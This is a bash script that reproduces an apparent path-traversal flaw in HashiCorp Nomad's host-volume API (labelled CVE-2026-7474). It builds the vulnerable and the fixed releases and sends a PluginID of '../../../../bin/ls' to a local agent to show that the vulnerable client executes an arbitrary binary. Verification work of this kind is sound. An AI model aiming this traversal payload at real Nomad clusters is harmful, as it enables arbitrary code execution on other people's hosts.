#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

NOMAD_DIR="$ROOT/external/nomad"
VULN_TAG="v2.0.0"
FIXED_TAG="v2.0.1"
CONFIG="$LOGS/nomad_config.hcl"
DATA_DIR="/tmp/nomad-repro-data"
PLUGIN_DIR="/tmp/nomad-repro-plugins"

VULN_LOG="$LOGS/vulnerable_api.txt"
FIXED_LOG="$LOGS/fixed_api.txt"
MANIFEST="$ROOT/repro/runtime_manifest.json"

cd "$ROOT"

# --- Ensure cgroup workaround for container environments ---
if [ ! -f /sys/fs/cgroup/cpuset/cpuset.mems ]; then
    mkdir -p /sys/fs/cgroup/cpuset 2>/dev/null || true
    mountpoint -q /sys/fs/cgroup/cpuset || mount -t tmpfs tmpfs /sys/fs/cgroup/cpuset 2>/dev/null || true
    echo 0 > /sys/fs/cgroup/cpuset/cpuset.mems 2>/dev/null || true
    mkdir -p /sys/fs/cgroup/cpuset/nomad 2>/dev/null || true
    echo 0 > /sys/fs/cgroup/cpuset/nomad/cpuset.mems 2>/dev/null || true
fi

# --- Clone Nomad if not already present ---
if [ ! -d "$NOMAD_DIR/.git" ]; then
    mkdir -p "$ROOT/external"
    git clone --depth 200 https://github.com/hashicorp/nomad.git "$NOMAD_DIR"
fi

cd "$NOMAD_DIR"

# Fetch tags if missing
git fetch --depth=100 origin tag "$VULN_TAG" 2>/dev/null || true
git fetch --depth=100 origin tag "$FIXED_TAG" 2>/dev/null || true

# --- Pre-build both binaries ---
echo "=== Building vulnerable binary ===" >&2
git -c advice.detachedHead=false checkout "$VULN_TAG"
go build -o bin/nomad-vuln .

echo "=== Building fixed binary ===" >&2
git -c advice.detachedHead=false checkout "$FIXED_TAG"
go build -o bin/nomad-fixed .

# Write Nomad config
cat > "$CONFIG" <<EOF
log_level = "INFO"
data_dir = "$DATA_DIR"
bind_addr = "127.0.0.1"
advertise {
  http = "127.0.0.1:4646"
  rpc  = "127.0.0.1:4647"
  serf = "127.0.0.1:4648"
}
client {
  enabled = true
  host_volume_plugin_dir = "$PLUGIN_DIR"
}
server {
  enabled = true
  bootstrap_expect = 1
}
acl {
  enabled = false
}
EOF

# --- Helper: wait_for_port ---
wait_for_port() {
    local port="$1"
    for i in $(seq 1 30); do
        if ! ss -tlnp | grep -q ":$port "; then
            return 0
        fi
        sleep 1
    done
    return 1
}

# --- Helper: start_agent ---
# Args: binary_name
# Returns PID on stdout
start_agent() {
    local bin="$1"
    cd "$NOMAD_DIR"
    rm -rf "$DATA_DIR"
    mkdir -p "$PLUGIN_DIR" "$DATA_DIR"
    "./bin/$bin" agent -config "$CONFIG" > "$LOGS/${bin}_stdout.txt" 2> "$LOGS/${bin}_stderr.txt" &
    echo $!
}

# --- Helper: stop_agent ---
# Args: pid
stop_agent() {
    local pid="$1"
    kill -9 $pid 2>/dev/null || true
    wait $pid 2>/dev/null || true
    # Also kill any other nomad processes and wait for ports
    pkill -9 -f "nomad.*agent" 2>/dev/null || true
    sleep 1
    wait_for_port 4646 || true
    wait_for_port 4647 || true
    wait_for_port 4648 || true
}

# --- Helper: wait_for_node ---
wait_for_node() {
    local node_id=""
    for i in $(seq 1 60); do
        local resp
        resp=$(curl -s http://127.0.0.1:4646/v1/nodes 2>/dev/null || true)
        if [ -n "$resp" ] && [ "$resp" != "null" ] && [ "$resp" != "[]" ]; then
            node_id=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d[0]['ID'] if d else '')" 2>/dev/null || true)
            if [ -n "$node_id" ]; then
                echo "$node_id"
                return 0
            fi
        fi
        sleep 1
    done
    return 1
}

# --- Helper: send_payload ---
# Args: log_file node_id
# Returns http_code on stdout
send_payload() {
    local log_file="$1"
    local node_id="$2"
    local resp_body
    local http_code
    local body
    resp_body=$(curl -s -w "\n%{http_code}" -X PUT http://127.0.0.1:4646/v1/volume/host/create \
        -H "Content-Type: application/json" \
        -d "{\"Volume\":{\"Name\":\"cve-test-vol\",\"PluginID\":\"../../../../bin/ls\",\"NodeID\":\"$node_id\",\"NodePool\":\"default\",\"Namespace\":\"default\",\"RequestedCapacityMinBytes\":1,\"RequestedCapacityMaxBytes\":10}}")
    http_code=$(echo "$resp_body" | tail -n1)
    body=$(echo "$resp_body" | sed '$d')
    echo "$body" > "$log_file"
    echo "HTTP_CODE:${http_code}" >> "$log_file"
    echo "$http_code"
}

# --- VULNERABLE VERSION ---
echo "=== Starting vulnerable agent ===" >&2
VULN_PID=$(start_agent nomad-vuln)
echo "PID: $VULN_PID" >&2

VULN_NODE=$(wait_for_node)
if [ -z "$VULN_NODE" ]; then
    echo "ERROR: could not get NodeID for vulnerable agent" >&2
    cat "$LOGS/nomad-vuln_stderr.txt" >&2
    stop_agent "$VULN_PID"
    exit 1
fi
echo "NodeID: $VULN_NODE" >&2

VULN_HTTP=$(send_payload "$VULN_LOG" "$VULN_NODE")
echo "Vulnerable HTTP code: $VULN_HTTP" >&2
cat "$VULN_LOG" >&2
stop_agent "$VULN_PID"

# --- FIXED VERSION ---
echo "=== Starting fixed agent ===" >&2
FIXED_PID=$(start_agent nomad-fixed)
echo "PID: $FIXED_PID" >&2

FIXED_NODE=$(wait_for_node)
if [ -z "$FIXED_NODE" ]; then
    echo "ERROR: could not get NodeID for fixed agent" >&2
    cat "$LOGS/nomad-fixed_stderr.txt" >&2
    stop_agent "$FIXED_PID"
    exit 1
fi
echo "NodeID: $FIXED_NODE" >&2

FIXED_HTTP=$(send_payload "$FIXED_LOG" "$FIXED_NODE")
echo "Fixed HTTP code: $FIXED_HTTP" >&2
cat "$FIXED_LOG" >&2
stop_agent "$FIXED_PID"

# --- WRITE MANIFEST (unconditional) ---
cat > "$MANIFEST" <<EOF
{
  "agent_version_vulnerable": "$VULN_TAG",
  "agent_version_fixed": "$FIXED_TAG",
  "payload": "../../../../bin/ls",
  "api_endpoint": "PUT /v1/volume/host/create",
  "vulnerable_result": {
    "http_code": $VULN_HTTP,
    "log_file": "$VULN_LOG"
  },
  "fixed_result": {
    "http_code": $FIXED_HTTP,
    "log_file": "$FIXED_LOG"
  }
}
EOF

# --- VERDICT ---
VULN_BODY=$(cat "$VULN_LOG" | grep -v HTTP_CODE || true)
FIXED_BODY=$(cat "$FIXED_LOG" | grep -v HTTP_CODE || true)

if echo "$VULN_BODY" | grep -q "exit status 2" && echo "$FIXED_BODY" | grep -q "not feasible"; then
    echo "=== CONFIRMED: CVE-2026-7474 reproduced ==="
    echo "Vulnerable ($VULN_TAG): server accepted traversal plugin and client executed /bin/ls"
    echo "Fixed ($FIXED_TAG): server rejected request before forwarding (node not feasible)"
    exit 0
else
    echo "=== UNEXPECTED RESULTS ==="
    echo "Vulnerable body: $VULN_BODY"
    echo "Fixed body: $FIXED_BODY"
    exit 1
fi